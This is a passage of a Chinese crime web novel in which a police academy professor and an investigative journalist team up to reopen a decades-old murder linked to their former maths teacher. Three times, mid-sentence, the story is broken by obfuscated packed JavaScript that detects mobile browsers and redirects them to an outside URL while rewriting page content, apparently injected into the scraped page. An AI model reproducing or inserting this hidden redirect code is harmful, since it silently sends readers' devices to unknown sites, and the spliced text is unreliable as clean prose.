秦梓需要她帮忙查的这件事,实在是太难查了,她如果打定主意要做,恐怕不仅是她自己,整个工作室的工作计划都得受影响。她自己无所谓,但她不能影响别人的绩效考评。 这种典型的吃力不讨好的案子,如果要形成一篇深度调查报告发表出来,不仅过程难熬,就连是否能向公众发表,恐怕也得受到官方制约。昨天和秦梓需分开时,对方特意提醒自己注意保密,谈话内容不能再对第三者提起。看来起码短时间内,出于保密限制,她不可能形成公开发表的文章。 更糟糕的是如果查无果,她简直就是赔了夫人又折兵,风险如此大,她真的该去做吗? 她昨天回到家里后,考虑了一个通宵,仍然游移不定。今早之所以会这么早到,就是因为她一夜睁眼到天亮。脑子里不仅仅在权衡利弊,更是被秦梓需所讲述的案件细节所震撼。 陈老师是她非常敬重的老师,当年她们这届两个重点班——三班、四班的数学都是她教,章弥真在三班,秦梓需在四班。陈老师不是班主任,但身为主课任课老师,在学生心目中分量也很重。她教数学很有一套,学生用她教的方法,解题很轻松,她甚至会提前教一些高中的内容让学生预练。 章弥真天生偏科,她语言天赋非常高,语文、英语成绩都是年级第一,写得一手好文章,文采斐然,无人可比。但学数学对她来说实在是太难了,好在有陈老师在,她才不算彻底跛脚走路,哪怕进了高中后数学难度陡升,有初中打下的底子,她也不发怵。 她从未想过,围绕着陈老师竟然会发生这么多可怕的事,想想都很魔幻,仿佛不像是会发生在现实世界里的事。她起了探究心,当然也很不舒服,非常想查个一清二楚,可这样真的好吗? 这么多年过去了,还把过去的事翻出来,会不会给遗属带来不好的影响? 等等……陈老师还有遗属吗? 这个问题刚刚从她脑海里划过,忽而就听到一个熟悉的声音在办公室门口响起: “你干嘛呢?一大早的过来补眠?” 一个中年女子站在那里,正探头望她。她身材略有些发福,穿了遮盖身材的宽大黑衬衫,戴着黑框眼镜,眼镜后是一双神采奕奕的大眼睛,手里提着一大袋的食物,全是早餐,香气已经飘到了章弥真的鼻端。 “姐!你可来了,我饿死了。”她立刻从椅子上站起身,向她扑去。 “我滴天,你是要吃了我吗?你昨晚没吃晚饭啊?”见她这个架势,中年女人连忙转身就跑。 她一转头,恰好撞上洗漱回来的孙影,孙影见到她看,立刻扑了上来,大喊一声: “吴妈!你是救苦救难的观世音!” 吴妈被前后夹击,当即走不了了,章弥真和孙影就像抢劫一样夺取她手里的早餐袋,跑去了茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997400|161689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水间的餐桌边,开始大快朵颐。 “唉!你们给我留点啊,那个煎饼果子是我的!”吴妈扶着歪了的眼镜大叫。 吴妈大名吴岚,是章弥真工作室的责任编辑,和章弥真共享同一间办公室。她负责把握采编的内容导向,谋篇布局,监管内容合法合规,当然也要做编辑的基本工作校对。如果将工作室比作一支军队,统帅是章弥真,而吴岚则是监军,她直接对“皇帝”负责。当然了,“皇帝”自然指的是集团的高层。 不过,由于章弥真在工作室内处于绝对领导地位,吴岚其实更多是辅助作用。她可以说是全社上下除了总主编唯一能降得住章弥真的人,心细如发,做事谨慎有条理,且入行二十余年,人脉广达。 “怎么样,昨天急匆匆去看那个小姑娘?”吴岚拉开餐桌椅,坐到章弥真对面问道。 “嗯,没事,挺好。”章弥真一口吞下一颗煮鸡蛋,含混回道,然后被噎得拼命拧豆浆旋盖。 “你慢点吃!”吴岚真怕她噎死。 一旁的孙影捧着一个粢饭吃得慢条斯理,刷着手机问章弥真道:“昨儿只有几家自媒体在短视频传了这件事,我查了一下,没有大媒体报道这件事。姐你不打算写稿?” “这事儿还没个结果,我着急个什么劲儿?我们做国内新闻,负责的是权威资深的分析内容,不是和别人抢时效性,注意维护咱们的品牌权威。”章弥真用豆浆送下鸡蛋,回道,“而且我手上有一手资料,近水楼台啊,我一点也不怕被别家抢先。” “哦?你打听到啥了?”吴岚挑眉。 章弥真还没回答,大办公室又一气进来三个人,两男一女。两个男性一个高胖,一头蜷发,戴着眼镜,憨厚老实;一个矮瘦,剃着平头,不戴眼镜,看上去有些痞帅。他们身后的女性打扮入时,化着精致的妆。 “诶,大鹏、阿朗、球姐,来了啊,吃早饭了吗?”吴岚招呼他们。 “还没呢,多谢吴妈。”高胖的大鹏率先回答,笑呵呵上前来拿早餐。 “我也没吃,吴妈您真是贴心。”矮瘦的平头帅哥阿朗也跟着过来了。 那个被称作“球姐”的精致女性赶紧小跑过来,有点惶恐:“抱歉吴妈,我今天早上起迟了,带早餐本来是我的活呢。” “嗨,你家女儿才2岁,我们家儿子都上大学了,我闲人一个,家附近就是市场,比你方便多了。”吴岚笑呵呵道。 球姐大名朱瑛,之所以会有这么个外号,是因为工作室刚成立时,她处在怀孕状态,自我解嘲“带球入组”,女儿出生后也当真起了个“球球”的小名,后来就被大家喊成了“球姐”。她负责的是工作室运营方面的事,商务接洽、后勤和财务管理,可以说是工作室的财神姐。 高胖的大鹏全名周子鹏,是工作室的摄像师,同时也负责剪辑和收音。 平头帅哥阿朗全名刘为朗,是工作室的技术工程师,负责解决一切有关于设备的问题,同时他也负责一部分的剪辑和播报工作。 三人随即纷纷向章弥真打招呼,章弥真不咸不淡地应了几声,随后一直盯着朱瑛看,看得朱瑛浑身发毛,不知道真老板啥意思。 “球姐,你们家女儿选好幼儿园了吗?” “啊?选…选好了呀。”朱瑛不知道章弥真为什么会突然问这个,她平时并不关心这些。 “孩子上了幼儿园后,要是能有个青梅竹马的女伴儿,一辈子对她不离不弃的,多好。谁说女孩子之间的友情不是真友情了?不知道谁提出的歪理邪说。” “啊……是,确实。”朱瑛答得莫名其妙。 几人交换一下眼神,感觉章弥真有点不大对劲。 “球姐,今早这顿别记账了,我个人垫付了,一会儿我转账给吴妈。”章弥真吃完了一个菜包子,将豆浆喝完后,抽了纸巾擦拭了一下嘴唇。 公司食堂供应一日三餐外加夜宵,只是章弥真给手下人福利,愿意给手下人管饭,不用他们充饭卡花钱吃饭。所以绝大多数情况下,他们都是在办公室茶水间里解决一天三顿饭。 两个男生吃得正香呢,闻言差点被噎住。 真老板突然请吃饭……准没好事啊! 果不其然,只见章弥真表情严肃:“赶快吃,吃完开早会,我有事要和大家商量一下。” 8. 第八章 秦梓需从麦当劳门店里出来,手中提着打包的纸袋。时间是早间8点,她准备上车吃早饭,顺便完成盯梢。 她的车现在停在白虎桥派出所对面,她要盯的人不是别人,正是老杨。她已经拿到了老杨的全部资料,老杨全名杨飞荣,这位老刑侦早些年跟过铁道抛颅的案子,秦梓需很重视他的帮助。 只不过老杨前些年生了大病,已经不在一线很久,临近退休,估计也没有什么干劲了,秦梓需害怕再次被拒,也不想进入派出所,利用所长的职权给他自上而下的压力。何况她昨天出了个风头,估计派出所里的人都认识她了,待在里面候着实在是有些难过,她性格并不外向,有些受不住。 所以她打算先在门口守到老杨来报到,然后直接上前和对方谈。 秦梓需剥开吉士汉堡的包装纸,咬了一大口,一边咀嚼,一边复盘自己当前的进度。 她返回胥城的第一个任务——重组专案组,已经失败了百分之八十,还余下两成的可能性。一个在老杨身上,一个就在章弥真身上。这两个人身上都有她当前最缺的资源——人脉和情报。 章弥真昨晚的态度有些微妙,秦梓需能理解她的犹疑,重启调查,确实是吃力不讨好,她拒绝实在是在正常不过的选择。但她吃不准章弥真是碍于情面没有直接拒绝她,还是当真有意向要帮忙,只是需要时间消化这一切。 她们俩毕竟交情尚浅,虽有同窗之谊,到底不算特别要好的故交。不知道她对查清陈老师的事到底有多少的动力,秦梓需只能做最坏的打算。 和章弥真的重逢,让她想起了很多初中时代的往事。那些被掩埋在记忆深处的故事,仿佛风吹浮尘,逐渐现出清晰的轮廓。 她还记得章弥真和她说的第一句话,那是初一第一学期的期末考试后,全年级的成绩排名表出来后展示在告示栏上,大家都围着看。秦梓需来得迟了,但有人提前看到了她的成绩,十分好事地告诉她: “秦梓需,你第一名!” “哦。”她应了一声,就打算返回去继续看那本没看完的小说。这时走廊上一个女孩叫住她,问道: “秦梓需,你数学考多少?” “啊?我不知道啊,大概满分吧。”秦梓需推测道,当时她还没看到自己的成绩,只是预估。 没想到一句话就让那女孩满面怒容,扭头就走。秦梓需感到莫名其妙,后来才知道那是三班的章弥真,全年级第二,就排在她后面,秦梓需的语文英语都比她低了一分,但数学比她高出5分,确实考了满分。 此后这样的模式在无数次大考小考中复现,贯穿初中三年。章弥真就再也没有超越过秦梓需,秦梓需每次撞见她,她都是一副紧抿双唇的不悦神情,这使得秦梓需逐渐习惯了她的易怒性格,章弥真的生气状态也成了她最印象深刻的状态。 除此之外,秦梓需还知道章弥真家境殷实,时常能看到豪车在校门口接送她。知道她很慷慨,常常请班里人吃零食、玩游戏、唱K,性格相当外向开朗。总体印象为一个好强易怒的大小姐。 然而她对章弥真的了解也就止步于此了,实在不知道这么多年后,她到底成长为了一个怎样的人,又有着怎样的品性。 单就这些年她在新闻行当从业的表现,以及昨天目睹她帮助那个跳桥女子的举动来看,秦梓需认为她应该是个正义感十足的人,她愿意相信她会选择帮助自己。但不论她到底会不会帮助自己,秦梓需都会按照自己的步骤执行早已定下的调查计划。 念头转到这里,忽而瞧见一个穿着夏季警服的身影骑着一辆电动两轮车从街道相对的方向驶来,头上还戴着一顶半盔。 秦梓需一眼认出是杨飞荣,当即丢下手里吃了一半的吉士汉堡,开了车门下车,快步迎了上来。 老杨大老远地看到一个年轻的短发姑娘脚步利落地穿过马路,快速向他跑来,一时愣怔,下意识捏住了刹车,停下车来。秦梓需上前,先招手打了个招呼,扬起笑容道: “抱歉拦下您,您是杨飞荣警官吧。” “你认识我?”老杨诧异地看着她。 “您好,我是秦梓需。”说着秦梓需再次亮出自己的警官证,“我有些事儿想找您谈。” “啊!原来你就是李校提到的那位公安大学的副教授啊,这么年轻!”老杨笑了起来,看上去很是意外。 “是我。”秦梓需腼腆一笑,“这一大早的,打搅您了。” “客气啥,教授来找我查案,我可是受宠若惊啊。你看你还一大早的在这里候着我,多不好意思。要不……你跟我进来,我给你泡杯茶,咱们慢慢谈?”老杨笑道。 “那个……我车在那里,方便的话,咱们能不能去车上谈?” 老杨微微一怔,片刻后反应过来,笑道:“行行行,都一样。” 秦梓需本还以为自己的要求有点非分,没想到老杨没她想象中那么难相与,还挺随和,挺好说话的。 老杨将电动车在路边人行道上停好,跟着秦梓需过马路,上了她车的后座。麦当劳的香味扑鼻而来,老杨笑着对刚坐进后座的秦梓需道: “秦教授要好好吃饭啊,这洋快餐吃多了对身体不好。” 秦梓需尴尬一笑,心想老杨这话说得可真有点像她爸:“早上太急了,一路过来没找到合适的早餐店,干脆就买了麦当劳。” “李校给我打招呼的时候,我还吓了一跳,心想这么年轻的孩子都是副教授了。今天见着你,确实是长江后浪推前浪,哈哈哈……” 秦梓需忙谦虚应道:“我不懂的还很多,还得和前辈们多多讨教。我想查铁道抛颅案,希望您指点迷津。” 老杨顺着她的话头问道: “你要查铁道抛颅案,找我,我手头的资料可能都不一定有你全乎,你想问我什么呢?” “您当年主要负责的是哪一部分的调查内容?”秦梓需问道。 老杨回忆道:“我昨天接到周所消息后,翻了翻我自己的办案笔记,时间太久了,很多细节我也记不住。” 说着他从自己的手提包里拿出了一本黑色的笔记本,戴上老花镜,翻到了记录此案的部分,道: “那个女人不是去了补习学校嘛,我们负责补习学校的现场取证,但几乎没有采到任何生物检材,她在补习机构的长椅上坐了一段时间,那会儿是大夏天,身上衣物简单,她穿着牛仔裤,没有留下任何衣物纤维,她的手没有接触过座椅。 “她触碰过门把手,但那门把手每天都有大量的人触碰,她的掌纹和指纹淹没在了无数人的掌纹和指纹之下,被擦毁了,已经不存在取证价值。 “我负责的部分就这些,我当时参与了几次专案组大会,从其他的侦查员那里听到了一些情况,也记录在本子上。这第一个,就是被害人的口鼻处有提取出残留的乙/醚,头颅内部则提取出了醋酸,应该是被放进高压锅后加入白醋烹煮。装被害人头颅的包上,发现了某种花粉,那花粉不属于被抛尸的铁道环境,但具体在哪里,碍于当年的技术手段落后,很难锁定。听说现在的分析技术能够依据花粉锁定到某个精确的范围内,这个我就不大清楚了。 “这两点,算是比较有价值的线索了,秦教授你应该也掌握吧?” 秦梓需点头:“是,我手头上有全部的档案。就是这案子不重启调查,我很难独自一人完成调查。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997401|161689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给花粉做检测,锁定来源,这种事只有省级的实验室能做。” 老杨叹息:“那恐怕要让秦教授失望了,我这里没有更多的线索了,帮不上忙。” 秦梓需对此早有预料,她思索了片刻,问道:“杨警官,我想请教一个问题。从你的角度来看,凶手将头颅带上火车,抛下,是出于怎样一种考虑?” 杨飞荣道:“那自然是出于掩盖自身身份的目的。头颅是人尸体最难处理的部分,也是被害人最有标识价值的部位。他破坏头颅,将头颅带走,上列车,半路抛弃,就让警方极难锁定到他的犯案地点、犯案时间,很难查出死者的身份,也就根本无法锁定他的身份。” 秦梓需道:“那是否可以反向推理,他不具备运输尸体的能力,他能做的是分尸,将身躯和头颅分开处理。我们至今并未找到其余的碎尸块,还不能确定他是怎么处理身体的。他费尽周折去掩盖自身的作案时间、作案地点,让人无法锁定他的身份,这是否意味着他的身份与死者高度相关?” “是,当然是,我完全同意。”杨飞荣点头,“但即便能反推出这些,我们依旧缺乏线索。” “线索有,只是需要现代刑侦技术重启去查。那个装头颅的包,我觉得就有必要再次仔细调查,也许有被我们忽视的线索。”秦梓需道。 杨飞荣又翻了翻笔记,道:“我记得那是个手提式的黑色篮球包,对吧?但标签被破坏了,无法锁定货源。” “对,我有一个想法,凶手会选择这个包,意味着他将其提上列车,不会让人觉得违和,是符合他的身份的。” “符合身份……男性吗?爱打篮球的女性不多吧,那个包硬要说,确实男性用的比较多。但这个范围也未免太大了。” “那再缩小一点范围,你觉得什么样的男性会使用这样的包?”秦梓需不答反问。 “你是说……学生?”杨飞荣头皮炸开了,“但是秦教授,这个猜测未免武断,这样的包什么人都有可能用,列车上人多,也没谁会特别注意别人带着的包是否符合身份吧。” 秦梓需神情显得意味深长,默了片刻,她道:“我们确实可以这样想,但凶手不行,他是个非常小心谨慎的人,他必须考虑到所有可能出岔子的情况。当年的铁路客车,虽然没有实名制,也没有安检,但毕竟列车员都要检票,火车上也都有乘警,他还是必须要考虑到被人看出不对劲的可能性。 “不过你说学生,这点我虽然不能确认,但我也认为可能性是存在的。案发时,正值开学前夕,乘坐列车去上学的学生乘客非常多,无形中也增加了学生犯案的概率。” 杨飞荣看上去有些不安,这么多年了,他头一回听闻有人推测这个案子是个学生犯下的,实在是耸人听闻。 “学生……哪来的条件犯这种案子?”他还是想下意识否定。 “问题就在这里。我们空想是想不出来的,只能查。” 老杨叹息:“秦教授,我能帮你的真的不多。” “没关系,杨警官,你已经帮了大忙了。”秦梓需侧过身来,向他伸出手。 老杨与她握手,心里不知自己到底帮了什么忙,却听秦梓需道: “不知道杨警官还知不知道有谁参与了当年的调查?” “这个你得问上头了,当年这个案子牵涉到多省份联合办案,部里出面牵头组了专案组,其中的主力是铁路公安那里,我不是很熟悉啊。”杨飞荣道,“我就认识一个人,现在恐怕也得退二线了,他姓谷,我可以帮你联系一下,他现在应该高升了,本来是铁路公安的,现在在市局。” “那麻烦您了,十分感谢。”秦梓需喜出望外,道。 9. 第九章 秦梓需目送老杨进入了派出所,回到了驾驶坐上,拿起吃了一半的吉士汉堡继续吃,同时拿出手机,在备忘录里划掉了一个事项——面谈老杨,确认侦查方向问题。 她寻找老杨想要达到的目的,不是真的要从他这里挖到什么被隐藏的侦查细节,只是想要知道当年的侦查人员到底是怎么想的。 人的思维总是会有局限的,当年那个混乱年代的犯罪虽然猖獗,但公安面对的罪犯大多数都是追名逐利、贪财好色、穷凶极恶的社会亡命徒,他们在侦查时,思维时常就会不自觉地往这上面靠,以至于忽略一些不大可能犯罪的群体。 秦梓需认为这个案子至今没有任何进展,可能问题出在当年的侦查思路偏离了正确方向。可能至今除了她和她师傅张鑫,还不曾有谁正视过陈老师家爆燃事故与铁路抛颅案两个案子之间的关系。 若这两个案子当真有关系,那么铁路抛颅案与陈老师家爆燃事故都可以关联到两个关键词:学校、教师。与这两个关键词相关的身份,无非就那三种:教师、学生和校工。凶手,起码应该优先锁定到这三种身份上。 秦梓需其实并不能确定到底是三种人中的哪种身份犯了案,那个装有头颅的运动篮球包可以是这三种人中的任何一种人使用。 不过老杨的反应很奇特,他竟然一下子就想到了学生。这就让秦梓需感到很是耐人寻味,她意识到当年学生这个群体确实并不在侦查范围内,不过这只能代表老杨个人的想法,她还需要从更多人那里确认这一点,所以她想要老杨多联系几个当年参与此案侦办的人。 她吃完了汉堡,又将凉了的咖啡一饮而尽。拾掇纸袋子打开车门,打算拿去路边的垃圾桶丢掉。 看到垃圾桶她就想到了跳桥女子的事,今天来白虎桥派出所比较匆忙,打定主意要低调行事,昨天她愣是出了个不大不小的风头,她害怕自己回来的消息传到父母耳朵里。 因此,她直接在派出所门口堵老杨,问完了事就赶紧走,也没有去打听跳桥女子的后续。她毕竟有自己的事要做,就让派出所的同僚干好他们的工作吧。 她返身回车上,刚打开车门,突然手机响了,是校长的来电。秦梓需连忙接起来,就听校长口气不善: “小家伙,你给领导上压力了啊,刘总都找我问你什么情况了。” “不是……校长,我什么时候给领导上压力了?人家不愿帮我嘛……”秦梓需嘟嘟囔囔,感到很委屈。 “刘总不是跟你说了,让你给他一天时间,他会找人手给你的。你倒好,连个联系方式都不留给人家,直接甩脸就走。你这不是给人上压力吗?”李朔没好气道。 “啊?哈哈,难道我理解错了?那不是……拒绝的客气话?”秦梓需干笑道。 “你是不是觉得我老李头的面子不好使啊?”李朔更生气了。 “不敢不敢,校长,我错了,您消消气……”秦梓需连忙认错。 “唉……你真是跟你师傅一个模子刻出来的!真想打开你脑子研究研究到底是个什么构造!破案这么厉害,几句话就能让犯罪嫌疑人破防,怎么跟同事打交道这么愚的呢?” 秦梓需不敢说话,只能老实立定挨训。 “我没时间和你扯这些,总之,我把你的电话给刘总了,一会儿他应该就会联系你了。你好好跟人谈!”说罢,李朔就把电话挂了。 秦梓需还没来得及喘口气,手机就再次来电,她几乎是秒速接起,面上挤出笑容,声音略有些发虚: “喂?您好?” “秦梓需?是你吧?”电话那头传来的是一个熟悉的女声——章弥真。 秦梓需嘴角抽了抽:“是我。” 她昨天把自己的电话给了章弥真,但当时章弥真在气头上,她没敢问章弥真要电话,二人也没有加微信。她当时的想法是,如果章弥真愿意帮忙,她就会给自己打电话。如果她不愿意帮忙,二人留联系方式也没有太大意义了。 来电时,她只觉得这号码有点熟悉,接得太快,没来及得想明白是谁的号。现在她才回忆起来,这号码,她在跳桥女子的手机里屡次看见,是有印象的。 “哦,我还以为打错了,你怎么电话里说话这么温柔的?”章弥真语速飞快地吐槽了一句,接着道,“我跟你说啊,你这个项目我跟了。” “啊?”路边驶过一辆汽车,差点和一辆不规范行驶的电动两轮车相撞,司机拼命鸣笛,秦梓需注意力被吸引了过去,一时间没反应过来,我有什么项目? “哎呀,就是帮你查案。”她压低声音,从牙缝里悄悄挤出这几个字来。 跟她说话真费劲,章弥真再次内心吐槽,“咱们以后低调点,别总把查案挂嘴边,就用项目替代了。哎我问你,这不违反你们的保密条例吧?还是说我得和你们领导先见一面?我就这么加入,会不会不大符合程序啊?还有啊,我要不要和我的同事们也说一说这件事?要说到多细的程度,还是说让他们干活就行?” “你和你的同事们都说了?”秦梓需惊道。 “没呢,你昨天不是让我注意保密了嘛。我就是暂时跟他们说我有个保密项目得跟,短时间内,我得分出不少精力到这个项目里,不然我们工作室的工作没法安排的。”章弥真解释道。 秦梓需吓出一身冷汗,她昨天将案件透露给章弥真知晓,确实冒了不小的风险,已经属于是泄密的擦边行为了。虽然她隐瞒了绝大部分的案件细节,只是大致讲了讲概况,可若要较真追究起来,也势必要遭受处分。 她如此行事究竟是否有事,全得看领导怎么界定。幸而章弥真没坑她,她吁了口气道: “那太好了,要参与这个案子,你确实得去见见省厅的领导,如果领导同意你参与,你还得签保密协议,这套程序必须得走。这样,你先忙你的工作,我这里还在等领导的消息,有消息了我就联系你,我们一起去一趟市局。” “好,那就这么说定了。”说完,章弥真就先风风火火挂了电话。 秦梓需刚将她的号码备注好,章弥真就甩了个微信好友申请过来,秦梓需又连忙给加上,心道这大小姐还真是热情满满,不负她的期望。 这下她可就欠了她很大的人情了,该怎么还才好呢?要不向上头申请办案经费,补偿给她吧,或者以后干脆把公安宣传口的第一手消息都给她? 随即她笑了,刘总摊上这事儿可真是上了贼船了。 刚加上好友,章弥真就发了一个凝视她的猫猫头表情过来,秦梓需还没回复,她就又紧接着发了个含泪挥手绢的表情,上书“等你”二字,贱兮兮的,怪好笑。 秦梓需噗的一声被逗乐,这人在网上是这种画风吗? 秦梓需回复了三个字:“我尽快。” 随即她就上了车,发动车子,往市局方向去。现在她陷入了困局,尤其是技术方面的难题,靠她一个人无法解决。如果没有同事们的帮助,她将寸步难行。 铁道抛颅案,虽然案发地在外省雒城, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997402|161689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但根据后续侦查出的被害人大致死亡时间和最后目击证言,基本可以判断被害人是在东海省内遇害的,所以这个案子移交给了东海省厅负责主侦,铁路公安协办,该案的主要物证都存放在胥城市局的物证库中,被害人的遗骸也存放进入了位于胥城的公安部无名尸库中。 虽然DNA已经被高温破坏殆尽了,但因为牙齿的牙釉质和牙本质耐高温性强,当年的法医依旧尽量从牙髓腔中提取了相对完整的DNA,避免腐坏影响。相对完整,意味着DNA是缺损状态。 秦梓需清楚近几年新突破了好几样高科技侦查手段,如果能用上,对推进这起案件的调查会有极大助益。此前没有人想起这个案子,也没有人推动重启,现在她既然要重查,就要全力以赴。 驱车至半途,秦梓需的手机又响了,这回真的是刘明城来电。 “您好刘总。”她开免提接电话,语气特别客气。 “秦老师,可算联系上您了。您可有空赏脸来一趟市局?我找了几个同事,想听你详细说说案情。”刘副总队的口气似笑非笑。 “好,我正往市局的路上。不过,我可能还会再带个人过来,您看可不可行?” “谁啊?”刘明城诧异问道。 “她是我初中同学,调查记者章弥真。侦办这个案子,她能起到很大作用。大致的情况,其实我和她有说过。”秦梓需道。 刘明城笑了,道:“秦老师,您常年不在一线,我得提醒一下您注意侦查纪律。” “我知道的刘总,您放心,我没有谈及任何侦查细节,我是真的很需要她的帮助,章记者也是守口如瓶的人。实在抱歉,之前误会您了,以为您这里可能没有希望,实在没有办法才去找她的。现在既然说都说了,不如让她也过来参与,签个保密协议,好歹不违反纪律。”秦梓需后背微微沁汗,赔笑道。 刘明城那里沉默了三秒钟,然后才沉声道:“行,让她过来吧。我倒是也很好奇她能提供怎样的帮助。” 二人约定好,便挂断了电话。秦梓需心中雀跃起来,忙不迭地又给章弥真打电话: “成了,你最快多久能到市局?” “给我20分钟。”章弥真答得爽快。 “好,我已经快到了,我在市局门口等你。” 于是20分钟后,徘徊在市局门口的秦梓需看到了章弥真的理想车飞驰而来,她将车停稳,下来碰头后对秦梓需说的第一句话就是: “咱俩真没犯法吧?” “啊?”秦梓需迷惑。 “你泄密给我了,我们不会被抓起来吧?”章弥真看上去有些慌,“把我抓小黑屋,剥夺我记者证,再也不让我写报道之类的。然后秦老师您也当不了警察了,只能当保安了。” 秦梓需:“……” “噗!”章弥真突然指着她笑出来。 无语了片刻,秦梓需率先往局里走,章弥真跟上,笑道:“我跟你开玩笑呢,你倒是笑一下撒?” “朋友,这并不好笑。”秦梓需乜她一眼道。 “你刚才的表情真的很好笑,你是不是有一瞬慌了?是不是?”章弥真幸灾乐祸地逼问着。 秦梓需:“……” 她可真是不放过任何一个可以报复自己的机会啊,万年老二的怨念果然可怕,持续了这么多年阴魂不散,秦梓需想。 她决定不理这个无聊的家伙。 在门卫处做了一下访客登记,秦梓需和章弥真便进入了市局的大楼。 10. 第十章 根据指示,秦梓需、章弥真要去大楼的第七层,那里是市局的刑事技术中心。 她和章弥真进电梯后,轿厢门关闭,因为只有她二人,秦梓需趁此独处机会道了句: “谢谢你愿意帮这个忙。” 章弥真摆了摆手:“你别跟我客气,我心里可恨你拉我下水了。但我这人就是这样,不知道则以,既然知道了,我不可能不干的,否则我心里难安。” 秦梓需无奈道:“那你想要什么样的补偿?” “你得让我加多少班儿啊,起码得给我加班费吧,还有车马费,餐食费,精神创伤费……”她掰着手指数起来。 “等会儿……精神创伤费?” “是啊,看了些不该看的东西,多吓人呢,都有心理阴影了,昨晚上一夜没睡着。”章弥真道。 秦梓需确实见她双目拉出血丝,眼底发青,但精神头还是十足,可劲儿地埋汰自己呢。 “你不是说你见过世面吗?”秦梓需反唇相讥。 “咱没见过这种世面,我要是常常见这种世面,我还干什么记者啊。”章弥真道。 “行吧,你开个价,我个人补贴给你。”秦梓需咬牙道。 “啊?你个人掏腰包啊,你们这么大个衙门,没点经费啊?”章弥真讶异道。 “经费当然是有的,但得领导批,我估计领导这关不好过,一会儿你就知道了。”秦梓需道。 “我不明白,这不是为了破案吗?你们公安破案的经费不肯花,那还怎么破案?”章弥真问。 秦梓需无奈:“没那么简单,财政的门道太多了。领导批经费,但案子破不了,那是要顶着压力的。所以积攒下来的疑难案件,往往都会趁着一些专项行动集中攻破,专项行动有专项经费,这样才没有太大的压力。据我所知,咱们的这起案子在上一回专项行动时就已经又翻出来查了一遍了,还是没结果。领导必须要权衡重启调查的利弊,在没有明确新线索出现的情况下,不好一头脑热地推。” 说话间,二人已经出电梯,来到了702会议室门外。门是虚掩着的,秦梓需敲了敲门,立刻就有一位身着警服的年轻女警来开了门。这女警长发盘起,戴着银丝边眼镜,瞧上去斯文气十足。 “您是……”她疑惑地看着秦梓需。 “我是秦梓需,是刘总让我来的。”秦梓需自我介绍道。 “哦!您就是秦教授,幸会,快请进。”女警把她让进门来,随即就注意到了她身后的章弥真。 “你好,我是章弥真。”不等她问,章弥真就直接开口自我介绍,并伸出手来,落落大方。 女警下意识和她握了握手,眉头蹙起,似是在回忆什么。 此时秦梓需注意到会议室里还有另外一位女警在,这位女警年龄应当比秦梓需要大不少,约莫四旬年纪。她留着齐耳短发,不戴眼镜,一双眼眸光锐利,正默默打量着秦梓需和章弥真。 “啊!我想起来了,你是那个很有名的东海日报的记者!”开门的年轻女警惊呼道。 章弥真笑笑:“是我。” 年轻女警连忙自我介绍:“我叫刘雪莹,是刑技中心的痕检员。哦,这位是李之枚,枚姐,法医。” “你们好。”短发年长女警沉稳打招呼道,“请坐,刘总让我们在这里等他一会儿,他很快就来。” 说曹操,曹操就到。刘明城下一秒推门而入,跟在他身后的还有一位头发花白的中年男警官,手里拿着一沓文件。 刘明城一眼看到屋内四人,便笑道: “巧了,都到齐了,那就准备开会吧。” 说着就拉开会议桌旁的椅子随意坐下,也并未坐主座。他的目光先落在了章弥真身上,从桌上探过身来,向章弥真伸出手道: “您就是章记者吧,幸会。” “您好,刘总。”章弥真与他握手。 “既然是秦老师邀请来的帮手,咱们肯定是特别欢迎的。不过,刑事案件侦办有保密原则,还请您先签一下保密协议,咱们才好继续谈案件的细节。”说着,刘总看了眼身旁的中年男警官,中年男警官将手里的文件递给章弥真,并递了笔。 章弥真开始翻看协议,在这个过程中,刘总向秦梓需介绍他身边的中年男警官: “秦老师,这位是谷道全,老谷。你既然去找过老杨了,应该听说老谷了吧。” “是的,谷警官,您好。”秦梓需打招呼,心想这一趟还真是没走空,该见的都见到了。老杨的面子是有的,但终究还是领导想得周全。 “老谷作为铁路公安参与过当年的侦查,待会儿你有什么问题都可以问,他对当年的事,还记忆犹新呢。”刘明城调侃道。 “别提了,当年可把我们害惨了,为了排查出嫌疑人所在的车辆,并找到嫌疑人,我当年愣是跑穿了两双鞋子,铁路沿线上百公里的村庄城镇都跑了个遍,膝盖都落了病。可惜,还是啥也没查出来。”老谷是个直脾气,提起这件事,还是一肚子怨气。 秦梓需只能赔笑,一旁的刘雪莹是一副吃瓜群众的好奇表情,但李之枚法医的眉头已经紧紧蹙起,她有了不祥的预感。 章弥真此时已经看完了保密协议,这协议要求案件内情需要双方协商一致后披露,既然有的商量,她就能接受。她问了一声: “刘总,冒昧问一下,如果我全程跟进本案的侦办,关于案件办理的细节,我多久之后可以形成报道披露给公众?” 